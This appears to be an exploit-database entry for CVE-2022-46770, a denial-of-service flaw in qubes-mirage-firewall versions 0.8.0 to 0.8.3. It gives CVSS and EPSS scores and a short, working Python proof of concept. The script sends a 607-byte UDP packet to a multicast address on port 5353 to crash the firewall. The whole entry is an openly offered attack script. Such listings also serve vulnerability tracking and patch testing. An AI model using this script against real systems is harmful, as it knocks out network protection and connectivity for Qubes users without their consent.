qubes-mirage-firewall v0.8.3 - Denial Of Service Exploit

2023-03-3100:00:00

Krzysztof Burghardt

0day.today

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.415 Medium

EPSS

Percentile

97.3%

JSON

# Exploit Title: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)
# Exploit Author: Krzysztof Burghardt <[email protected]>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770

#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET = "239.255.255.250"

PORT = 5353

PAYLOAD = b'a' * 607

s = socket(AF_INET, SOCK_DGRAM)

s.sendto(PAYLOAD, (TARGET, PORT))